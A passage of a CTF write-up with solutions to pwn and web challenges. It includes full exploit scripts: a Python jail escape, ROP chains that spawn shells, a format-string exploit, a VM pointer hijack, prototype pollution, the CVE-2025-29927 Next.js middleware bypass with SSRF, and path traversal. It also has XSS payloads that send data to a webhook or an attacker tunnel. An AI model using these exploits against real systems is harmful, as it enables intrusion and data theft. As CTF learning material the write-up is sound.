# Line 520166: change "i64.const -1000" to "i64.const 1000"
# Line 520297: change "i64.lt_s" to "i64.gt_s"
wat2wasm main_patched.wat -o main_patched2.wasm
```

**Flag:** `p_ctf{W@sM@_!s_Fas&t_Bu?_$ecur!ty}`

***

## pwn

### pCalc

#### Description

A "super secure calculator" Python jail. The server evaluates user input through `eval()` with restricted builtins (`{"__builtins__": {}}`) and an AST validator that only allows math-related nodes (`BinOp`, `UnaryOp`, `Constant`, `Name`, `operator`, `unaryop`) plus `JoinedStr` (f-strings). An audit hook blocks `os.system`, `os.popen`, `subprocess.Popen`, and opening files with "flag" in the name. The string "import" is also blocked in the raw input.

#### Solution

Three vulnerabilities chained together:

1. **F-string AST bypass**: The AST validator allows `JoinedStr` (f-string) nodes but does `pass` instead of recursing into children. This means arbitrary Python expressions inside `f"{...}"` are never validated.
2. **Object hierarchy for builtins**: Since `__builtins__` is empty in the eval context, we walk Python's object hierarchy `().__class__.__mro__[1].__subclasses__()` to find a class with a Python `__init__` function, then access `__init__.__globals__['__builtins__']` to recover the full builtins dict.
3. **Bytes path audit bypass**: The audit hook checks `isinstance(args[0], str) and 'flag' in args[0]`. Passing the filename as bytes (`b'flag.txt'`) makes `isinstance(args[0], str)` return `False`, bypassing the check entirely.

The "import" filter is bypassed with string concatenation (`'__imp'+'ort__'`), though it's not even needed for the file read payload.

```python
#!/usr/bin/env python3
from pwn import *

# F-string bypasses AST validation (JoinedStr children not checked)
# Walk object hierarchy to recover builtins dict
# Use bytes path b'flag.txt' to bypass audit hook's isinstance(args[0], str) check
payload = (
    'f"{(B:=[c for c in ().__class__.__mro__[1].__subclasses__() '
    "if c.__init__.__class__.__name__=='function'][0]"
    ".__init__.__globals__['__builtins__']) "
    "and B['print'](B['open'](b'flag.txt').read())}\""
)

r = remote('pcalc.ctf.prgy.in', 1337, ssl=True)
r.recvuntil(b'>>> ')
r.sendline(payload.encode())
print(r.recvall(timeout=5).decode())
# Output: p_ctf{CHA7C4LCisJUst$HorTf0rcaLCUla70r}
```

Flag: `p_ctf{CHA7C4LCisJUst$HorTf0rcaLCUla70r}`

### Dirty Laundry

#### Description

The washing machine doesn't seem to work. Could you take a look?

Binary with libc 2.35 provided. Connect via `ncat --ssl dirty-laundry.ctf.prgy.in 1337`.

#### Solution

Classic ret2libc buffer overflow. The `vuln()` function allocates a 0x40 (64) byte buffer but reads 0x100 (256) bytes via `read()`, giving a clean stack overflow with no canary and no PIE.

**Binary protections:** Partial RELRO, No canary, NX enabled, No PIE.

**Strategy:** Two-stage ROP chain:

1. **Stage 1 — Leak libc:** Overflow to call `puts(GOT.puts)` which prints the resolved libc address of `puts`, then return to `vuln` for a second input. A `ret` gadget is inserted before the return to `vuln` to fix 16-byte stack alignment (since `ret`-to-function differs from `call`).
2. **Stage 2 — Shell:** Calculate libc base from the leak, overflow again to call `system("/bin/sh")`.

Key gadgets from the binary (no PIE, so addresses are fixed):

* `pop rdi; pop r14; ret` at `0x4011a7`
* `ret` at `0x40101a`

```python
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./attachments/chal')
libc = ELF('./attachments/libc.so.6')

pop_rdi_r14 = 0x4011a7
ret = 0x40101a
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln = elf.symbols['vuln']

p = remote('dirty-laundry.ctf.prgy.in', 1337, ssl=True)

# Stage 1: Leak libc via puts(GOT.puts), return to vuln
payload = b'A' * 0x40 + b'B' * 8
payload += p64(pop_rdi_r14) + p64(puts_got) + p64(0)
payload += p64(puts_plt)
payload += p64(ret) + p64(vuln)  # ret for stack alignment before vuln re-entry

p.sendafter(b'Add your laundry: ', payload)
p.recvuntil(b'Laundry complete')
puts_leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = puts_leak - libc.symbols['puts']
log.info(f'Libc base: {hex(libc.address)}')

# Stage 2: system("/bin/sh")
payload2 = b'A' * 0x40 + b'B' * 8
payload2 += p64(pop_rdi_r14) + p64(next(libc.search(b'/bin/sh'))) + p64(0)
payload2 += p64(libc.symbols['system'])

p.sendafter(b'Add your laundry: ', payload2)
p.sendline(b'cat flag*')
p.interactive()
```

**Flag:** `p_ctf{14UnDryHASbEenSUCces$fU11YCOMP1e73d}`

### Talking Mirror

#### Description

A 64-bit ELF reads a line with `fgets(buf, 0x64, stdin)` and then calls `printf(buf)` followed by `exit(0)`. The goal is to print `flag.txt` via the provided `win()` function.

#### Solution

The bug is a classic format-string vulnerability (`printf(buf)`) with NX enabled. The obvious exploit is to overwrite `exit@GOT` with `win`, but every `.got.plt` address is `0x400a**` and therefore contains a `0x0a` byte; `fgets()` stops at newline, so you cannot place any `.got.plt` pointer directly in the input.

Key observation: the first PT\_LOAD segment is RW and contains `.dynsym` and `.rela.plt` at fixed addresses (no PIE), and those addresses do not contain `0x0a`. We can avoid writing to `.got.plt` entirely by redirecting *lazy binding*:

* `exit@plt` triggers the dynamic linker (`_dl_fixup`) using the `exit` relocation entry in `.rela.plt`.
* That relocation’s `r_info` encodes the symbol index. For `exit`, the symbol index is 10.
* If we change the symbol index to 11 (`stdout`) in that relocation, the `exit@plt` call will resolve the symbol `stdout` instead of `exit`.
* `stdout` (dynsym index 11) is one of the few symbols actually present in the executable’s `.gnu.hash` (symoffset=11), so `_dl_lookup_symbol_x` will find the executable’s `stdout` definition.
* Patch dynsym\[11].`st_value` to the address of `win` (`0x401216`). Now “resolving `stdout`” returns `win`.
* When `vuln()` calls `exit(0)`, the resolver jumps to `win()`, which prints the flag and `_exit(0)`s.

Concrete writes (all to the RW first segment):

* `.rela.plt` exit entry is at `0x400638 + 7*24 = 0x4006e0`.
  * `r_info` is at `0x4006e8`.
  * The symbol index (high 32 bits) is stored at `0x4006ec`; write `0x0b` to make it symbol 11.
* `.dynsym` base is `0x4003d8`, entry size 24.
  * dynsym\[11] starts at `0x4003d8 + 11*24 = 0x4004e0`.
  * `st_value` is at `0x4004e8`; write `0x401216` (done as two `%hn` writes: `0x0040` at `0x4004ea` and `0x1216` at `0x4004e8`).

Exploit code (single shot):

```python
#!/usr/bin/env python3
from pwn import *
import struct

context.log_level = "error"

HOST = "talking-mirror.ctf.prgy.in"
PORT = 1337

# Patch exit@plt relocation's symbol index to 11 (stdout)
# and patch dynsym[11] (stdout) st_value to win (0x401216).
REL_SYM_BYTE     = 0x4006ec  # .rela.plt[exit].r_info high-dword (little-endian), write 0x0b here
STDOUT_STVAL_LO  = 0x4004e8  # dynsym[11].st_value low halfword
STDOUT_STVAL_HI  = 0x4004ea  # dynsym[11].st_value next halfword

addrs = [
    REL_SYM_BYTE,
    STDOUT_STVAL_HI,
    STDOUT_STVAL_LO,
]

# Print-count plan:
# 1) print 11 chars, write 0x0b via %hhn
# 2) print +53 => total 64, write 0x0040 via %hn
# 3) print +4566 => total 4630 (0x1216), write 0x1216 via %hn
fmt_t = "%1$11c%{rel}$hhn%1$53c%{hi}$hn%1$4566c%{lo}$hn"

fmt = fmt_t
while True:
    raw = fmt.encode() + b"\x00"
    pad = (-len(raw)) % 8
    base = 6 + (len(raw) + pad) // 8  # stack args start at position 6
    pos = {"rel": base + 0, "hi": base + 1, "lo": base + 2}
    new_fmt = fmt_t.format(**pos)
    if new_fmt == fmt:
        break
    fmt = new_fmt

raw = fmt.encode() + b"\x00"
pad = (-len(raw)) % 8
payload = raw + (b"A" * pad) + b"".join(struct.pack("<Q", a) for a in addrs) + b"\n"

io = remote(HOST, PORT, ssl=True, sni=HOST)
io.recvline(timeout=3)
io.send(payload)
print(io.recvall(timeout=3).decode(errors="replace"))
```

### TerViMator

#### Description

Skynet is rising. Can you defeat this early version of the T-1000s mainframe before it becomes unstoppable?

`ncat --ssl tervimator.ctf.prgy.in 1337`

A stripped PIE binary (Full RELRO, NX, no canary) implementing a custom bytecode VM. Binary protections:

* **PIE enabled** (randomized base)
* **Full RELRO** (GOT not writable)
* **NX enabled** (no shellcode)
* **No stack canary**

#### Solution

**Reverse Engineering the VM:**

The binary reads up to 0x1000 bytes of bytecode, then executes a custom VM with 16 32-bit registers, 7 opcodes, and 9 syscalls.

**Opcodes (0-6):**

| Opcode | Name    | Format         | Description              |
| ------ | ------- | -------------- | ------------------------ |
| 0      | HALT    | `00`           | Stop execution           |
| 1      | LOADI   | `01 reg imm32` | `regs[reg] = imm32`      |
| 2      | MOV     | `02 dst src`   | `regs[dst] = regs[src]`  |
| 3      | ADD     | `03 dst src`   | `regs[dst] += regs[src]` |
| 4      | SUB     | `04 dst src`   | `regs[dst] -= regs[src]` |
| 5      | XOR     | `05 dst src`   | `regs[dst] ^= regs[src]` |
| 6      | SYSCALL | `06`           | Dispatch on `regs[0]`    |

**Syscalls (regs\[0] = 1-9):**

| ID | Name        | Args                   | Description                                                    |
| -- | ----------- | ---------------------- | -------------------------------------------------------------- |
| 1  | alloc\_data | size=r1                | Allocate data object (perm=rw, type=1)                         |
| 2  | alloc\_exec | task=r1                | Allocate exec object (perm=x, type=2), stores `func_ptr ^ KEY` |
| 3  | gc          | -                      | Free objects with refcount=0                                   |
| 4  | split       | obj=r1                 | refcount += 2                                                  |
| 5  | name        | obj=r1, len=r2         | Read `len` bytes from stdin into `&objects[obj]` (max 0x40)    |
| 6  | write\_byte | obj=r1, off=r2, val=r3 | Write byte at `&obj + 0x10 + off` (requires perm & 2)          |
| 7  | inspect     | obj=r1, off=r2         | Print byte at `&obj + 0x10 + off` (requires perm & 1)          |
| 8  | execute     | obj=r1                 | Decode `ptr ^ KEY` and call it (requires perm & 4, type=2)     |
| 9  | dup         | obj=r1                 | refcount += 1                                                  |

**Object struct (24 bytes each, 16 max, at BSS offset 0x5040):**

```
+0x00: 8 bytes padding
+0x08: 1 byte permissions (1=read, 2=write, 4=exec)
+0x09: 1 byte type (0=free, 1=data, 2=exec)
+0x0a: 1 byte refcount
+0x0c: 4 bytes size
+0x10: 8 bytes pointer (heap data ptr or XOR-encoded function ptr)
```

**Win function** at offset `0x129d`: calls `puts("CRITICAL: PRIVILEGE ESCALATION.")` then `system("/bin/sh")`.

**Vulnerabilities:**

1. **No bounds check on inspect/write\_byte offset** - The `inspect` and `write_byte` syscalls access `&objects[obj] + 0x10 + offset` with no bounds validation on `offset`, allowing read/write into adjacent object structs.
2. **Name syscall overwrites object struct** - The `name` syscall writes raw bytes starting at `&objects[obj]` (the struct base), not the heap buffer. With `len` up to 0x40 (64 bytes), this overflows into subsequent objects' structs (each 24 bytes).

**Exploit Strategy:**

1. Allocate data object 0 (type=1, perm=rw) and exec object 1 (type=2, perm=x)
2. Use `inspect(obj=0, offset=24..31)` to read object 1's XOR-encoded function pointer through the out-of-bounds read (no bounds check on offset)
3. Decode the leak: `alloc_data_addr = stored ^ KEY`, compute `win_addr = alloc_data_addr - 0x141`
4. Use `name(obj=0, len=48)` to overwrite both objects' structs from stdin, setting object 1's pointer to `win_addr ^ KEY`
5. `execute(obj=1)` decodes the pointer and calls the win function

```python
#!/usr/bin/env python3
from pwn import *
import time

context.log_level = 'info'

HALT, LOADI, MOV_OP, ADD_OP, SUB_OP, XOR_OP, SYSCALL = range(7)
SYS_ALLOC_DATA, SYS_ALLOC_EXEC = 1, 2
SYS_NAME, SYS_INSPECT, SYS_EXECUTE = 5, 7, 8
KEY = 0x1a5bfe810dce5825

def loadi(reg, val):
    return bytes([LOADI, reg]) + p32(val)

bc = b""
# alloc_data(16) -> obj 0
bc += loadi(0, SYS_ALLOC_DATA) + loadi(1, 16) + bytes([SYSCALL])
# alloc_exec(task=1) -> obj 1 (stores XOR(alloc_data_addr, KEY))
bc += loadi(0, SYS_ALLOC_EXEC) + loadi(1, 1) + bytes([SYSCALL])
# inspect obj 1's XORed pointer via obj 0 (offsets 24-31)
for i in range(8):
    bc += loadi(0, SYS_INSPECT) + loadi(1, 0) + loadi(2, 24+i) + bytes([SYSCALL])
# name(obj=0, len=48) to overwrite obj 0+1 structs from stdin
bc += loadi(0, SYS_NAME) + loadi(1, 0) + loadi(2, 0x30) + bytes([SYSCALL])
# execute(obj=1) - calls decoded function pointer
bc += loadi(0, SYS_EXECUTE) + loadi(1, 1) + bytes([SYSCALL])
bc += bytes([HALT])

p = remote("tervimator.ctf.prgy.in", 1337, ssl=True)
p.recvuntil(b"bytecode..."); p.recvline()
p.send(bc)
p.recvuntil(b"Executing..."); p.recvline()
p.recvuntil(b"alloc_data"); p.recvline()
p.recvuntil(b"alloc_exec"); p.recvline()

# Parse leaked bytes
leaked = []
for i in range(8):
    p.recvuntil(b"0x")
    leaked.append(int(p.recvline().strip(), 16))

stored = int.from_bytes(bytes(leaked), 'little')
alloc_data_addr = stored ^ KEY
win_addr = alloc_data_addr - (0x13de - 0x129d)
stored_new = win_addr ^ KEY
log.info(f"PIE base: {hex(alloc_data_addr - 0x13de)}, win: {hex(win_addr)}")

p.recvuntil(b"Reading"); p.recvline()

# Build 48-byte overwrite: obj 0 struct (24B) + obj 1 struct (24B)
data  = b"\x00"*8 + bytes([3,1,1,0]) + p32(16) + p64(0)        # obj 0: data, rw
data += b"\x00"*8 + bytes([4,2,1,0]) + p32(0)  + p64(stored_new) # obj 1: exec, win ptr
p.send(data)

time.sleep(0.5)
p.sendline(b"cat flag*")
print(p.recvall(timeout=5).decode(errors='replace'))
```

Flag: `p_ctf{tErVIm4TOrT-1000ha$BE3nd3feaT3D}`

***

## web

### Server OC

#### Description

Overclocking increases FPS, but for a SysAd, does it increase...Requests Per Second?

The flag is in two parts. Express.js web app simulating a server overclocking interface with a CPU multiplier control, benchmark functionality, and a logs endpoint.

**URL:** `https://server-oc.ctf.prgy.in/`

#### Solution

The challenge has two independent flag parts obtained through different vulnerabilities.

**Reconnaissance:**

* `GET /robots.txt` reveals hardware info (CPU: i9-9900K, Motherboard: Asus Z390)
* `GET /script.js` reveals the client-side flow: overclock → benchmark → leConfig → logs
* `POST /api/overclock` with `{"multiplier": 76}` is the magic value that enables the benchmark button (`showBe: true`)
* `POST /leConfig` issues a JWT cookie whose payload hints at the `/logs` endpoint and example payload `{"Path": "C:\\Windows\\Log\\systemRestore"}`
* `GET /api/benchmark/url` returns the SSRF target URL

**Flag Part 2 — SSRF endpoint direct access:**

The `/benchmark` endpoint is an SSRF handler that fetches `url` query param server-side. However, it also checks for an `internal` query param directly. By passing `internal=flag` as a query parameter to the outer server (not inside the SSRF URL), the handler returns the second flag part directly:

```bash
curl 'https://server-oc.ctf.prgy.in/benchmark?internal=flag'
# Response: Flag : $h0ulD_N0T_T0uch_$3rv3rs}
```

**Flag Part 1 — Prototype pollution on /logs:**

The `/logs` endpoint requires:

1. A valid session (from `POST /api/reset`)
2. Overclock set to multiplier 76 (via `POST /api/overclock`)
3. A JWT token cookie (from `POST /leConfig`)
4. A JSON body with a Windows path

However, it returns `"Invalid user permissions"` even with all correct parameters. The bypass is **JSON prototype pollution** — injecting `"__proto__": {"isAdmin": true}` into the request body:

```bash
# Step 1: Reset session
curl -s -c cookies.txt -X POST 'https://server-oc.ctf.prgy.in/api/reset'

# Step 2: Overclock to 76
curl -s -b cookies.txt -c cookies.txt -X POST \
  -H 'Content-Type: application/json' \
  -d '{"multiplier":76}' \
  'https://server-oc.ctf.prgy.in/api/overclock'

# Step 3: Get JWT token
curl -s -b cookies.txt -c cookies.txt -X POST \
  'https://server-oc.ctf.prgy.in/leConfig'

# Step 4: Read logs with prototype pollution bypass
curl -s -b cookies.txt -X POST \
  -H 'Content-Type: application/json' \
  -d '{"Path":"C:\\Windows\\Log\\systemRestore","__proto__":{"isAdmin":true}}' \
  'https://server-oc.ctf.prgy.in/logs'
# Response: {"message":"p_ctf{L!qU1d_H3L1um_"}
```

**Complete flag:** `p_ctf{L!qU1d_H3L1um_$h0ulD_N0T_T0uch_$3rv3rs}`

("Liquid Helium Should Not Touch Servers" — a reference to extreme overclocking with liquid helium cooling)

### Shadow Fight

#### Description

A web challenge about XSS with a flag hidden inside a closed Shadow DOM. The site is a "Profile Card Generator" that takes `name` and `avatar` query parameters, validates them client-side, and renders the name via `innerHTML`. An admin bot visits submitted profiles.

#### Solution

**Step 1: Understanding the application**

The page at `https://shadow-fight.ctf.prgy.in` has this structure:

1. **`helpers.js`** loads in `<head>`, defining `validateName()`, `validateAvatar()`, and `isSafe()`.
2. **Script 1** (in `<body>`) creates a closed Shadow DOM containing the flag:

   ```javascript
   (function() {
     const container = document.createElement('div');
     container.id = 'secret';
     const shadow = container.attachShadow({ mode: 'closed' });
     shadow.innerHTML = '<p style="opacity: 0;">p_ctf{redacted-no-admin}</p>';
     document.querySelector('.card').appendChild(container);
   })();
   ```
3. **Script 2** reads `name` and `avatar` from server-injected query params:

   ```javascript
   const name = "USER_INPUT_HERE";
   const avatar = "USER_INPUT_HERE";
   const nameIsValid = name && validateName(name);
   const avatarIsValid = avatar && validateAvatar(avatar);
   if (nameIsValid && avatarIsValid) {
     // ...
     nameEl.innerHTML = name;  // <-- XSS sink
   }
   ```

The server injects query parameters directly into the JS string literals with **no server-side escaping**. The flag text is different when the admin bot visits (it gets the real flag).

**Step 2: Understanding the filters**

`validateName()` requires 2-50 characters and calls `isSafe()`. `validateAvatar()` requires `https://` prefix, hostname in an allowlist (`picsum.photos`, `imgur.com`, etc.), and calls `isSafe()`.

`isSafe()` blocks these strings (case-insensitive substring match):

```
"  \n  \r  fetch  XMLHttpRequest  navigator  sendBeacon  postMessage
location  document  window  Function  constructor  import  __proto__
prototype  escape  from  char  atob  btoa
```

Plus `%0a`/`%0d` and `\xHH` hex escapes.

Notably **not** blocked: `eval`, `self`, `top`, `Proxy`, `Reflect`, `Element`, `Image`, `encodeURIComponent`, single quotes `'`.

**Step 3: The XSS trigger — payload smuggling via avatar URL**

The name goes into `innerHTML`, so HTML like `<svg/onload=CODE>` executes JS. But the name is limited to 50 chars — not enough for a meaningful payload.

**Key insight**: The avatar URL must start with `https://picsum.photos/...` but the path can contain anything. The server injects the full avatar string into `const avatar = "..."`. So we can hide our JS payload in the avatar URL path and extract it at runtime:

```
avatar = "https://picsum.photos/1/JAVASCRIPT_PAYLOAD_HERE"
                                   ^ offset 24
```

The first 24 characters are the valid URL prefix. `avatar.slice(24)` extracts the JS code. Then `eval(avatar.slice(24))` executes it. This passes `validateAvatar()` because `new URL(avatar).hostname` is still `picsum.photos`.

The name becomes just a short eval trigger:

```
<svg/onload=(0,eval)('eval(avatar.slice(24))')>
```

That's 47 characters — under the 50-char limit.

**Step 4: Why `(0,eval)()` — the indirect eval trick**

You might wonder why not just `<svg/onload=eval(avatar.slice(24))>`. The problem is **inline event handler scoping**.

When the browser creates a function from an HTML attribute like `onload=CODE`, it wraps it in a scope chain:

```javascript
function handler(event) {
  with (document) {     // <-- document properties shadow globals
    with (element) {    // <-- element properties shadow everything
      CODE
    }
  }
}
```

The page has `<input id="avatar" name="avatar">`. Because of the `with(document)` wrapper, when `CODE` references `avatar`, it finds `document.avatar` (the input element with `id="avatar"`) instead of the `const avatar` JS variable. So `avatar.slice(24)` would call `.slice()` on a DOM element — not what we want.

**`(0,eval)()` is an indirect eval**. Unlike direct `eval()`, indirect eval always executes in the **global scope**, completely outside the `with(document)` wrapper. In the global scope, `const avatar` (from Script 2) lives in the global declarative environment, which is checked before `window.avatar` (the DOM element). So `avatar` correctly resolves to our URL string.

The full chain: `(0,eval)('eval(avatar.slice(24))')` evaluates the string `eval(avatar.slice(24))` in the global scope, which reads the `const avatar` string, slices off the URL prefix, and evals the JS payload.

**Step 5: Bypassing the keyword blocklist**

The JS payload in the avatar URL must pass `isSafe()`. We bypass blocked words with string concatenation:

| Blocked word            | Bypass                           |
| ----------------------- | -------------------------------- |
| `document`              | `self['doc'+'ument']`            |
| `prototype`             | `Element['proto'+'type']`        |
| `Function` / `function` | Arrow functions `()=>{}` instead |

`isSafe()` checks for substrings, but `'doc'+'ument'` doesn't contain the contiguous substring `document` — it has `doc'+'ument` with punctuation breaking it up. At runtime, JS concatenates them into `"document"` and uses bracket notation to access the property.

**Step 6: Extracting the closed Shadow DOM — the Proxy trick**

This is the core of the challenge. A closed Shadow DOM means:

* `element.shadowRoot` returns `null` (can't get a reference)
* `getInnerHTML({includeShadowRoots: true})` was removed in Chrome 127 (bot runs Chrome 144)
* `innerText`/`textContent` on the host element returns empty (doesn't traverse into shadow DOM)

**The only way to read a closed shadow root is to have a reference to it.** The original reference only existed inside the IIFE that created it — it was never stored anywhere accessible. But we can create a *new* shadow root and capture *that* reference.

**The plan:**

1. **Monkey-patch `attachShadow`** by wrapping it in a `Proxy` that intercepts all calls and saves the return value:

   ```javascript
   var _r;  // will hold the captured shadow root
   var p = Element['proto'+'type'];
   var _o = p.attachShadow;  // save original
   p.attachShadow = new Proxy(_o, {
     apply: (target, thisArg, args) => {
       _r = Reflect.apply(target, thisArg, args);  // call original, capture result
       return _r;
     }
   });
   ```

   We use `Proxy` + `Reflect.apply` instead of a wrapper `function` because the word `function` is blocked (it matches the blocked word `Function` case-insensitively). Arrow functions can't be used directly here because we need `this` (the element) passed correctly — `Reflect.apply` handles that.
2. **Find and re-execute the shadow DOM creation script:**

   ```javascript
   var d = self['doc'+'ument'];
   var sc = d.querySelectorAll('script');
   for (var i = 0; i < sc.length; i++) {
     if (sc[i].textContent.indexOf('secret') > -1) {
       (0, eval)(sc[i].textContent);  // re-run in global scope
       break;
     }
   }
   ```

   This finds the `<script>` tag containing the word `'secret'` (the shadow DOM creation IIFE) and re-evaluates its text content. The IIFE runs again, creating a **new** `<div id="secret">`, calling `attachShadow()` on it (intercepted by our Proxy), and setting `shadow.innerHTML` to the flag.
3. **Read the captured shadow root:**

   ```javascript
   new Image().src = WEBHOOK + '?d=' + encodeURIComponent(_r ? _r.innerHTML : 'nope');
   ```

   `_r` now holds the shadow root reference captured by our Proxy. Even though it was created with `mode: 'closed'`, **having a direct reference lets you read it** — the `closed` mode only prevents access via `element.shadowRoot`. We read `_r.innerHTML` which contains `<p style="opacity: 0;">p_ctf{THE_FLAG}</p>` and exfiltrate it via an image request to our webhook.

**Step 7: Exfiltration**

`new Image().src = 'https://webhook.site/UUID?d=' + encodeURIComponent(data)` creates an `<img>` element whose `src` triggers a GET request to our webhook with the flag as a query parameter. This works cross-origin with no CORS issues because image loads are always allowed.

**Full exploit**

```python
import urllib.parse, requests

WEBHOOK = "https://webhook.site/YOUR-UUID"
TARGET = "https://shadow-fight.ctf.prgy.in"

# 47 chars — fits in the 50-char name limit
name = "<svg/onload=(0,eval)('eval(avatar.slice(24))')>"

js_payload = (
    "try{"
    "var _r,p=Element['proto'+'type'],_o=p.attachShadow;"
    "p.attachShadow=new Proxy(_o,{apply:(t,a,b)=>{"
    "_r=Reflect.apply(t,a,b);return _r}});"
    "var d=self['doc'+'ument'],sc=d.querySelectorAll('script');"
    "for(var i=0;i<sc.length;i++)"
    "if(sc[i].textContent.indexOf('secret')>-1)"
    "{(0,eval)(sc[i].textContent);break};"
    "new Image().src='" + WEBHOOK + "?d='"
    "+encodeURIComponent(_r?_r.innerHTML:'nope')"
    "}catch(e){new Image().src='" + WEBHOOK + "?err='"
    "+encodeURIComponent(e+'')}"
)

# Payload hidden in URL path after 24-char prefix
avatar = "https://picsum.photos/1/" + js_payload

params = urllib.parse.urlencode({"name": name, "avatar": avatar})
requests.post(f"{TARGET}/review?{params}")
# Admin bot visits the crafted URL, XSS fires, flag arrives at webhook
```

**Execution flow summary**

```
1. We POST to /review with our crafted name + avatar params
2. Admin bot visits /?name=<svg/onload=...>&avatar=https://picsum.photos/1/JS_CODE
3. Server injects params into JS: const name = "..."; const avatar = "...";
4. Both pass validateName() and validateAvatar() (no blocked words, valid domain)
5. nameEl.innerHTML = name  →  inserts <svg> which fires onload
6. onload runs (0,eval)('eval(avatar.slice(24))')
7. Indirect eval reads const avatar from global scope (bypassing with(document))
8. avatar.slice(24) extracts the JS payload, eval() runs it
9. Payload patches attachShadow with a Proxy, re-runs the shadow DOM script
10. Proxy captures the new shadow root reference in _r
11. _r.innerHTML contains the flag, exfiltrated via Image src to webhook
```

Flag: `p_ctf{uRi_iz_js_db76a80a938a9ce3}`

### Note Keeper

#### Description

A simple note-keeping application built with Next.js 15.1.1. The challenge asks "Can you reach what you're not supposed to?" The app has a guest-facing notes page, a login page, and a middleware-protected admin panel at `/admin`.

#### Solution

This challenge involves chaining two vulnerabilities: **CVE-2025-29927** (Next.js middleware authorization bypass) and **SSRF via `Location` header injection** through `NextResponse.next({headers: request.headers})`.

**Step 1: Reconnaissance**

The app is a Next.js 15.1.1 application. The login link contains a base64-encoded state parameter `L2FkbWlu` = `/admin`. The `/admin` route returns 401 with `<!--Request Forbidden by Next.js 15.1.1 Middleware-->`.

**Step 2: Middleware Bypass (CVE-2025-29927)**

Next.js 15.1.1 is vulnerable to CVE-2025-29927, which allows bypassing middleware by setting the `x-middleware-subrequest` header. For Next.js 15.x, the middleware name must be repeated 5 times (recursion depth limit):

```bash
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  https://note-keeper.ctf.prgy.in/admin
```

This reveals the admin panel with 7 notes containing hints:

* A pastebin link (`https://pastebin.com/GNQ36Hn4`) with the middleware source code
* A base64 string `WyIvc3RhdHMiLCAiL25vdGVzIiwgIi9mbGFnIiwgIi8iXQ==` decoding to `["/stats", "/notes", "/flag", "/"]` — backend API routes

**Step 3: Analyzing the Middleware Source**

The pastebin reveals the middleware code:

```javascript
import { NextResponse } from "next/server";
import { isAdminFunc } from "./lib/auth";

export function middleware(request) {
  const url = request.nextUrl.clone();

  if (url.pathname.startsWith('/admin')) {
    const isAdmin = isAdminFunc(request);
    if (!isAdmin) {
      return new NextResponse(`<html>...Unauthorized...</html>`, { status: 401 });
    }
  }

  if (url.pathname.startsWith('/api')) {
    return NextResponse.next({
      headers: request.headers // VULNERABLE: forwards ALL request headers
    });
  }

  return NextResponse.next();
}
```

The critical vulnerability: for `/api` routes, the middleware calls `NextResponse.next({headers: request.headers})`, passing **all incoming request headers** into the middleware response.

**Step 4: SSRF via Location Header Injection**

The admin page's client-side JavaScript reveals the backend runs at `http://backend:4000` with a `/flag` endpoint. This internal service is not directly accessible.

When `NextResponse.next()` receives headers including a `Location` header, Next.js interprets it as a server-side redirect and fetches the specified URL internally. By injecting a `Location` header pointing to the internal backend, we achieve SSRF:

```bash
curl -H "Location: http://backend:4000/flag" \
  https://note-keeper.ctf.prgy.in/api/login
```

This causes the Next.js server to fetch `http://backend:4000/flag` and return the response:

```
p_ctf{Ju$t_u$e_VITE_e111d821}
```

**Flag:** `p_ctf{Ju$t_u$e_VITE_e111d821}`

### Domain Registrar

#### Description

A domain registrar website with KYC upload functionality. The site runs nginx + PHP/8.2.30 and has endpoints for listing domains (`avlbl.php`), uploading KYC documents (`kyc.php`), a flag endpoint (`flag.php`), and a checkout page with an XSS sink (`checkout.html`). The `/public/` directory exists but returns 403 Forbidden.

#### Solution

The vulnerability is a **path traversal via URL-encoded slash** in the `/public/` directory route.

Nginx routes requests to `/public/` through a PHP handler for image extensions (`.png`, `.jpg`, `.gif`). However, using `%2f` (URL-encoded `/`) allows escaping the `/public/` directory and traversing back to the webroot:

```
/public%2f../           → serves index.html (webroot root)
/public%2f../app.js     → serves app.js
/public%2f../nginx.conf → serves the flag file
```

The key insight is that nginx's `location /public/` directive doesn't match `/public%2f` since the encoded slash isn't decoded at the routing stage, but the backend/filesystem does decode it when resolving the path. This mismatch allows directory traversal out of the `/public/` prefix.

The flag was stored in a file named `nginx.conf` in the webroot:

```bash
curl -s "https://domain-registrar.ctf.prgy.in/nginx.conf"
# "p_ctf{c@n_nEVer_%ru$T_D0M@!nS_FR0m_p0Ps}"

# Also accessible via the traversal:
curl -s "https://domain-registrar.ctf.prgy.in/public%2f../nginx.conf"
# "p_ctf{c@n_nEVer_%ru$T_D0M@!nS_FR0m_p0Ps}"
```

**Flag:** `p_ctf{c@n_nEVer_%ru$T_D0M@!nS_FR0m_p0Ps}`

### Shadow Fight 2

#### Description

XSS challenge with a closed Shadow DOM. A "Profile Card Generator" takes `name` and `avatar` query parameters. The `name` is rendered via `innerHTML`, and there's an admin bot that reviews submitted profiles. The flag is stored in a closed Shadow DOM that's only populated with the real flag when the admin views the page. A server-side filter (`isSafe()`) blocks dangerous keywords like `document`, `window`, `fetch`, `location`, `Function`, `constructor`, `import`, `from`, `char`, `code`, `escape`, `%`, `"`, etc. Name is limited to 50 characters.

#### Solution

**Key observations:**

1. The `name` parameter is reflected directly into a JavaScript string: `const name = "VALUE";`
2. While `"` is blocked (can't break the JS string), `</script>` is NOT blocked — the HTML parser closes the `<script>` tag when it encounters `</script>`, regardless of JS string context
3. The `isSafe()` filter runs server-side but doesn't block HTML tags like `<script>`
4. No Content-Security-Policy header exists, so external scripts can be loaded
5. The flag is in the page HTML source (inside a `<script>` tag that creates the Shadow DOM), readable via `document.scripts[].textContent`

**Attack flow:**

1. Set up an exfiltration server exposed via `localhost.run` SSH tunnel
2. Host a JS payload that reads the flag from the DOM and exfiltrates it
3. Inject `</script><script src=//TUNNEL>` as the name parameter — this closes the existing script tag and loads our external script
4. Submit the profile for admin review — the admin bot visits the page, our script executes, reads the flag from the script tag, and sends it to our server

**Name parameter (49 chars, under 50 limit):**

```
</script><script src=//f295e73be88189.lhr.life/x>
```

**Exfiltration server (`server.py`):**

```python
#!/usr/bin/env python3
import http.server, urllib.parse, sys

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        params = urllib.parse.parse_qs(parsed.query)
        if 'f' in params or 'd' in params:
            data = params.get('f', params.get('d', ['']))[0]
            print(f"\n[FLAG] {urllib.parse.unquote(data)}\n")
            with open('flag.txt', 'w') as fp:
                fp.write(urllib.parse.unquote(data))
        if parsed.path in ('/x', '/p'):
            self.send_response(200)
